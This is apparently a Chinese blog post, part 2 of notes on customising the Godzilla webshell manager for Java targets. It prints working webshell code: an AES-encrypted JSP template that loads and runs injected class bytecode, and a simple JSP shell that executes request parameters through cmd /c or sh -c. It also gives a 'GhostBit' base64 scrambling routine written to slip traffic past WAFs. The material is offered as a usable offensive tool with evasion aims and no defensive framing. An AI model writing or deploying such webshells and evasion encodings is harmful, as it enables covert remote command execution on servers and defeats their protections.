哥斯拉二开记录2

上一部分主要针对php相关部分进行修改,这里主要针对Java,会稍微复杂一点。当然代码都是AI写 + 人工审查😜。

原生Java Shell

和PHP的文件结构类似,Cryption用作命令加载器、Payload生成实际需要的命令、Plugin是扩展插件。

协议流程如下:

1. `init()`: 把 payload.class 字节码注入服务端 → 服务端 ClassLoader 加载
2. `encode()`: AES加密命令 → Gzip压缩 → 发送
3. `decode()`: 响应 → Gzip解压 → AES解密
4. 服务端: 接收 → 解密 → 反射调用对应方法 → 加密返回

总之原生的Shell就是基于类加载和反射调用实现的。模板分为两部分CodeGlobalCode,一个用于解析实际的数据,一个提供数据加解密的函数,

Code逻辑如下:

  1. 取 POST 参数 → base64 解码 → AES 解密 → 得到 data
    2. 如果 session 里没有 “payload”:→ 用 X 类加载 data 字节码 → 存入 session(首次注入)
    3. 如果已有 “payload”:→ data 放入 request.parameters → 实例化 payload → 调 equals(arrOut) 执行→ 调 toString() 触发输出 → 用 md5 标记包裹 → 写回响应
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
}

GlobalCode逻辑如下:就是一些工具方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
String xc = "{secretKey}";
String pass = "{pass}";
String md5 = md5(pass + xc);

class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}

public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}

public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class })
.invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class })
.invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class })
.invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class })
.invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}

JavaAesBase64Ex和JavaAesBase64的区别

原版有两个没有注册的连接方式,其中一个是JavaAesBase64Ex,适用场景如下

  • 无 Session 的容器(某些定制 Tomcat、Serverless 环境)——但极少见
  • 负载均衡不做 sticky session——每次请求落到不同节点,需要重新注入
  • 躲避 session 持久化检测——payload 不落存储

Ex 版牺牲了流量大小换取了 session 无关性——即使容器重启或 session 丢失也能正常工作。每次请求都重新发送载荷——第一个参数是 AES 加密的 payload 字节码,第二个才是实际命令数据。相当于每次通信都重新注入一次 payload 类,不依赖 session。

特性 Base64 Base64Ex
会话保持 依赖 Session/类缓存 每次请求都发 payload
请求格式 pass=AES(cmd) pass=AES(payload)&passW=AES(cmd)
适用场景 标准容器(Tomcat) Session 不可靠的环境
免杀 流量更小 载荷每次都变(可配合类名混淆)

增加Raw连接能力

哥斯拉的JSP都是基于AES加密和类加载的,当我们需要连接一个简单的JSP Webshell,比如下面这个的时候,就只能选择蚁剑或者冰蝎,不太方便,故增加此能力:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String pass = "pass";
String cmd = request.getParameter(pass);
if (cmd != null && cmd.trim().length() > 0) {
try {
String os = System.getProperty("os.name").toLowerCase();
String[] shellCmd;
if (os.contains("win")) {
shellCmd = new String[]{"cmd", "/c", cmd};
} else {
shellCmd = new String[]{"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(shellCmd);
java.io.InputStream in = p.getInputStream();
java.io.InputStream err = p.getErrorStream();
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) > 0) {
out.print(new String(buf, 0, len, "UTF-8"));
}
while ((len = err.read(buf)) > 0) {
out.print(new String(buf, 0, len, "UTF-8"));
}
} catch (Exception e) {
out.print("Error: " + e.getMessage());
}
}
%>

Raw 模式(JavaRawPayload):
1. 协议:明文 form-encoded POST,密码=URL编码命令,响应原样返回
2. 服务端:简单 JSP shell,Runtime.exec() 包在 cmd /c 或 sh -c 里执行
3. 适用场景:只有 Runtime.exec 权限的简单 JSP shell,或者目标环境不允许加载额外类字节码。

特性 标准(AES) Raw
加密 AES + Gzip Base64 + Xor
载荷注入 编译好的 .class
功能完整度 全部 命令执行 + 文件管理
兼容性 需 Servlet 容器 任何 JSP 容器

然后修改为json:

GhostBit进行编码

GhostBit是最近披露的java的类型转换缺陷,原文地址。简单来说,在某些类型转换过程中被不小心丢掉的高位,会导致原字符串内容变化。

目前已知的会存在这种现象的有

  • (byte) ch:显式的 byte 强制类型转化
  • ch & 0xFF:位掩码,保留低 8 位
  • OutputStream.write(int):写入流时被截断
  • DataOutputStream.writeBytes():官方 JDK 方法,在文档中明确写明会丢弃高 8 位

我们可以利用base64中的幽灵比特来对流量进行一个变形,让WAF难以识别,sun.misc.BASE64Decoder被证实存在,那么利用这一个点就可以实现了。

管理器里面增加下面两个方法,然后在encodedecode里面加入调用即可。

  • 客户端侧:AES加密 → base64("ABC...xyz=")ghostScramble → 每3个字符,随机高位:(random(1-255)<<8) | char
    → “ABCDEFGHI…” (每次请求字符不同) → UTF-8 → 发往服务端
  • 服务端侧:request.setCharacterEncoding("UTF-8") → 正确还原Unicode new sun.misc.BASE64Decoder().decodeBuffer(raw)
    → 内部(byte)charAt(i)→ 截取低8位 → 还原 base64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private static String ghostScramble(String b64) {
StringBuilder sb = new StringBuilder(b64.length());
java.util.Random r = new java.util.Random();
for (int i = 0; i < b64.length(); i++) {
char c = b64.charAt(i);
if (i % 3 == 0) {
int high;
do {
high = (r.nextInt(255) + 1) << 8;
} while ((high | 0xFF) >= 0xD800 && (high | 0xFF) <= 0xDFFF);
sb.append((char)(high | c));
} else {
sb.append(c);
}
}
return sb.toString();
}
private static String ghostStrip(String s) {
StringBuilder sb = new StringBuilder(s.length());
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
if (i % 3 == 0) {
sb.append((char)(c & 0xFF));
} else {
sb.append(c);
}
}
return sb.toString();
}

webshell中增加一个兜底的sun.misc.BASE64Decoder解析即可实现:前提:sun.misc.BASE64Decoder 在 JDK < 17 可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class })
.invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class })
.invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}

实际效果:由于高字节会被忽略,所以可以随机填充让每次都不一样,这样一般的WAF也不会解析这是base64